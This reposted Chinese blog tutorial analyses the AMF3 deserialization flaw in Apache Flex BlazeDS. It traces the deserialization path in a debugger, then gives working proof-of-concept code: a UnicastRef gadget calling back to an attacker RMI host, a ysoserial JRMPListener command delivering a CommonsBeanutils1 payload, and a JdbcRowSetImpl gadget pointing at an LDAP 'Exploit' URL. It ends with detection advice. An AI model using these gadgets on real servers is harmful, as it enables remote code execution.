转载

Java AMF3反序列化漏洞

AMF是Action Message Format的简称,是一种二进制序列化格式,主要用于数据交互和远程过程调用。

一个Action Message由头部(header)和主体(body)所组成。

AMF3(Action Message Format version 3)是AMF的第三版,同样是一种二进制信息编码格式,也是Flash应用在后台交互时主要使用的一种数据格式。与JSON类似,它支持不同的数据类型。考虑到向后兼容性,AMF3实际上算是AMF的一种扩展实现,并且引入了新的对象类型。

AMF3对象的新功能可以归结为两种新增加的特性,即Dynamic和Externalizable,这两种新特性描述了对象是如何进行序列化操作的:

  • Dynamic:一个声明了动态特性的类实例,公共变量成员可以在程序运行时动态添加/删除到实例中;
  • Externalizable:实现flash.utils.Externalizable并完全控制器成员序列化的类实例;

Dynamic特性

我们可以拿Dynamic特性与JavaBeans的功能进行对比:它允许我们通过类名及属性来创建一个对象。实际上,很多JavaBeans实体目前已经实现了这种技术,例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。

但需要注意的是,这种功能将会导致一种可利用的漏洞产生。实际上, Wouter Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了 ,并且还在2016年发布了相应漏洞的利用代码及PoC。

Externalizable特性

我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上,很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整,其实它与Java的java.io.Externalizable区别不大,这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。

java.io.Externalizable接口定义了两个方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着,在程序的运行过程中不存在默认的序列化/反序列化行为以及有效性检测。因此,相对于java.io.Serializable来说,我们使用java.io.Externalizable来实现序列化/反序列化则更加的简单和高效。

0x02 使用AMF3序列化和反序列化

本地测试用的jar:flex-messaging-core-4.7.2,flex-messaging-common-4.7.2。

Person类,注意该类需要实现Serializable接口类才能实现序列化和反序列化:

public class Person implements Serializable {
    private String name;
    private int age;

    public Person() {
        System.out.println("Person构造函数");
    }

    public String getName() {
        System.out.println("Person.getName()");
        return name;
    }

    public void setName(String name) {
        System.out.println("Person.setName()");
        this.name = name;
    }

    public int getAge() {
        System.out.println("Person.getAge()");
        return age;
    }

    public void setAge(int age) {
        System.out.println("Person.setAge()");
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person [name=" + name + ", age=" + age + "]";
    }
}

AMFDemo.java:

public class AMFDemo {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        person.setName("mi1k7ea");
        person.setAge(6);

        // 序列化对象,生成AMF Message对象
        byte[] amf = serialize(person);
        System.out.println("序列化:" + amf);

        // 反序列化对象
        ActionMessage actionMessage = deserialize(amf);
        System.out.println("反序列化:" + actionMessage);
    }

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);
        ActionMessage message = new ActionMessage();
        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);
        return out.toByteArray();
    }

    public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);
        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
        ActionMessage actionMessage = new ActionMessage();
        deserializer.readMessage(actionMessage, new ActionContext());
        return actionMessage;
    }
}

输出:

Person构造函数
Person.setName()
Person.setAge()
Person.getName()
Person.getAge()
序列化:[B@681a9515
Person构造函数
Person.setName()
Person.setAge()
反序列化:flex.messaging.io.amf.ActionMessage@27bc2616

0x03 AMF3反序列化过程

在AMF3反序列化过程中,程序会从Action消息中获取类名,构造新的对象,然后以成员值作为参数调用每个成员名对应的setter方法。这一个过程由专门的方法来实现,比如 flex.messaging.io.amf.Amf3Input 类中的 readScriptObject() 方法或者 flex.messaging.io.amf.Amf0Input 类中的 readObjectValue() 方法。

在deserialize()函数中,调用了AmfMessageDeserializer.readMessage()函数来读取Action Message内容,而在其中会调用readBody()函数来进一步读取Action Message的主体内容:

Java AMF3反序列化漏洞

接着会调用AmfMessageDeserializer.readObject()函数:

Java AMF3反序列化漏洞

往下跟进去,看到调用Amf0Input.readObject(),其中获取到type为17,然后调用readObjectValue():

Java AMF3反序列化漏洞

跟进readObjectValue()函数,由于type为17,就会进入调用Amf3Input.readObject()的逻辑:

Java AMF3反序列化漏洞

跟进Amf3Input.readObject()函数,这里获取到type为10,再调用Amf3Input.readObjectValue():

Java AMF3反序列化漏洞

跟进Amf3Input.readObjectValue()函数,在AMF3协议中,当type数据类型为10时,则认为Java对象,就会调用readScriptObject()读取对象:

Java AMF3反序列化漏洞

跟进readScriptObject()函数,看到调用createObjectInstance()函数来新建对象实例,可以看到是直接创建Person类实例了:

Java AMF3反序列化漏洞

在AbstractAmfInput.createObjectInstance()函数中,调用AbstractProxy.createInstance()函数来新建实例:

Java AMF3反序列化漏洞

再往下就是具体调用创建对象实例的函数调用过程、调用Person类构造函数。

此时函数调用栈如下:

<init>:7, Person
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
createDefaultInstance:120, ClassUtil (flex.messaging.util)
createInstanceFromClassName:95, AbstractProxy (flex.messaging.io)
createInstance:115, AbstractProxy (flex.messaging.io)
createObjectInstance:169, AbstractAmfInput (flex.messaging.io.amf)
readScriptObject:746, Amf3Input (flex.messaging.io.amf)
readObjectValue:154, Amf3Input (flex.messaging.io.amf)
readObject:132, Amf3Input (flex.messaging.io.amf)
readObjectValue:122, Amf0Input (flex.messaging.io.amf)
readObject:93, Amf0Input (flex.messaging.io.amf)
readObject:199, AmfMessageDeserializer (flex.messaging.io.amf)
readBody:173, AmfMessageDeserializer (flex.messaging.io.amf)
readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf)
deserialize:40, AMFDemo
main:19, AMFDemo

继续往下调试,调用完Person类的构造函数创建了对象实例后,程序会返回到Amf3Input.readScriptObject()函数中继续执行,会通过for循环遍历属性并调用BeanProxy.setValue()函数进行属性值的设置:

Java AMF3反序列化漏洞

我们跟进几层,看到set()函数是通过反射机制来调用目标属性的setter方法的:

Java AMF3反序列化漏洞

往下就是反射调用对应的属性的setter方法,此时的函数调用栈如下:

setName:17, Person
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:867, BeanProxy$BeanProperty (flex.messaging.io)
setValue:284, BeanProxy (flex.messaging.io)
readScriptObject:776, Amf3Input (flex.messaging.io.amf)
readObjectValue:154, Amf3Input (flex.messaging.io.amf)
readObject:132, Amf3Input (flex.messaging.io.amf)
readObjectValue:122, Amf0Input (flex.messaging.io.amf)
readObject:93, Amf0Input (flex.messaging.io.amf)
readObject:199, AmfMessageDeserializer (flex.messaging.io.amf)
readBody:173, AmfMessageDeserializer (flex.messaging.io.amf)
readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf)
deserialize:40, AMFDemo
main:19, AMFDemo

接着遍历其他属性并反射调用其setter方法直至完成属性值的设置,最后返回对象实例。

此时可以看到,AMF3将对象方锦龙ActionMessage的body中,其属性值在data可看到:

Java AMF3反序列化漏洞

0x04 AMF3反序列化漏洞

影响版本

Apache Flex BlazeDS的4.6.0.23207版本及4.7.x系列<4.7.3版本的都存在反序列化漏洞。

具体地说,是flex-messaging-xx系列jar包的4.6.0.23207版本及4.7.x系列<4.7.3版本的存在漏洞。

漏洞原理

简单地说,AMF3反序列化漏洞原理就是反序列化调用了JavaBeans存在漏洞的setter方法导致的。

复现利用

基于UnicastRef的Gadget

修改AMFDemo.java,添加生成generateUnicastRef类对象:

public class AMFDemo {
    public static void main(String[] args) throws Exception {
        Object object = generateUnicastRef("192.168.10.129", 1234);

        // 序列化对象,生成AMF Message对象
        byte[] amf = serialize(object);

        // 反序列化对象
        ActionMessage actionMessage = deserialize(amf);
        System.out.println("ActionMessage: " + actionMessage);
    }

    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);
        ActionMessage message = new ActionMessage();
        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);
        return out.toByteArray();
    }

    public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);
        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
        ActionMessage actionMessage = new ActionMessage();
        deserializer.readMessage(actionMessage, new ActionContext());
        return actionMessage;
    }
}

测试下代码能否正常运行,监听下端口,看看是否能够成功建立连接:

Java AMF3反序列化漏洞

此时,我们成功与客户端建立了一条通信连接,而且使用的还是Java RMI传输协议。

利用ysoserial工具,前提是目标环境存在可被反序列化利用的类,这里假设存在CommonsBeanutils1:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsBeanutils1 calc.exe

在Kali运行该命令开启JRMPListener监听,运行程序后Kali端接受到数据后就会发送payload,在Windows端就会弹计算器:

Java AMF3反序列化漏洞

Java AMF3反序列化漏洞

基于JdbcRowSetImpl的Gadget

JdbcRowSetImpl这条Gadget十分经典,原理和调试分析就不多说了,直接看PoC示例。

注意,下面的代码写得有问题,只是给个示例方便自己记录一下,后面再进行分析修改。

修改AMFDemo.java,传入一个JdbcRowSetImpl类对象进行反序列化,其中设置了DataSourceName和AutoCommit属性值:

public class AMFDemo {
    public static void main(String[] args) throws Exception {
        Object object = createPoC("127.0.0.1", 1389);

        // 序列化对象,生成AMF Message对象
        byte[] amf = serialize(object);

        // 反序列化对象
        ActionMessage actionMessage = deserialize(amf);
    }

    public static Object createPoC(String host, int port) {
        com.sun.rowset.JdbcRowSetImpl jdbcRowSet = new com.sun.rowset.JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://" + host + ":" + port + "/Exploit");
            jdbcRowSet.setAutoCommit(true);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return jdbcRowSet;
    }
    
    ...

之所以能触发,和AMF3没有直接关系,是前面初始化JdbcRowSetImpl类对象的时候触发的:

Java AMF3反序列化漏洞

调试分析

这里只对UnicastRef这条Gadget进行调试分析。

反序列化过程在之前已经整体跟踪分析过了,我们看下关键的几个地方。

我们直接在UnicastRef.invoke()方法上打断点,调试直接运行到这,此时函数调用栈如下:

invoke:377, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readExternalizable:828, Amf3Input (flex.messaging.io.amf)
readScriptObject:757, Amf3Input (flex.messaging.io.amf)
readObjectValue:154, Amf3Input (flex.messaging.io.amf)
readObject:132, Amf3Input (flex.messaging.io.amf)
readObjectValue:122, Amf0Input (flex.messaging.io.amf)
readObject:93, Amf0Input (flex.messaging.io.amf)
readObject:199, AmfMessageDeserializer (flex.messaging.io.amf)
readBody:173, AmfMessageDeserializer (flex.messaging.io.amf)
readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf)
deserialize:55, AMFDemo
main:16, AMFDemo

在UnicastRef.invoke()函数中,调用了executeCall()函数,其实就是一个远程TCP连接调用:

Java AMF3反序列化漏洞

跟进StreamRemoteCall.executeCall()函数中,看到该方法直接从in数据库中进行了readObject()操作:

Java AMF3反序列化漏洞

再往下,就是调用ObjectInputStream.readObject()的Java原生反序列化的内容了。由于目标环境存在可被反序列化漏洞利用的CommonsBeanutils1相关的jar包(commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2),因此Kali会通过建立的TCP连接把CommonsBeanutils1对应的payload发送过来这个readObject()中进行反序列化操作,从而触发漏洞。

此时函数调用栈为:

readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readExternalizable:828, Amf3Input (flex.messaging.io.amf)
readScriptObject:757, Amf3Input (flex.messaging.io.amf)
readObjectValue:154, Amf3Input (flex.messaging.io.amf)
readObject:132, Amf3Input (flex.messaging.io.amf)
readObjectValue:122, Amf0Input (flex.messaging.io.amf)
readObject:93, Amf0Input (flex.messaging.io.amf)
readObject:199, AmfMessageDeserializer (flex.messaging.io.amf)
readBody:173, AmfMessageDeserializer (flex.messaging.io.amf)
readMessage:93, AmfMessageDeserializer (flex.messaging.io.amf)
deserialize:55, AMFDemo
main:16, AMFDemo

0x05 检测与方法

检测方法

全局搜索是否使用flex-messaging-xx系列jar包,且版本是否<4. 7.3;

若是则全局搜索如下关键代码排查,主要看AmfMessageDeserializer.readMessage()函数的参数是否外部可控:

import flex.messaging.io.
AmfMessageDeserializer
readMessage(
原文  https://www.mi1k7ea.com/2019/12/07/Java-AMF3反序列化漏洞/
正文到此结束
Loading...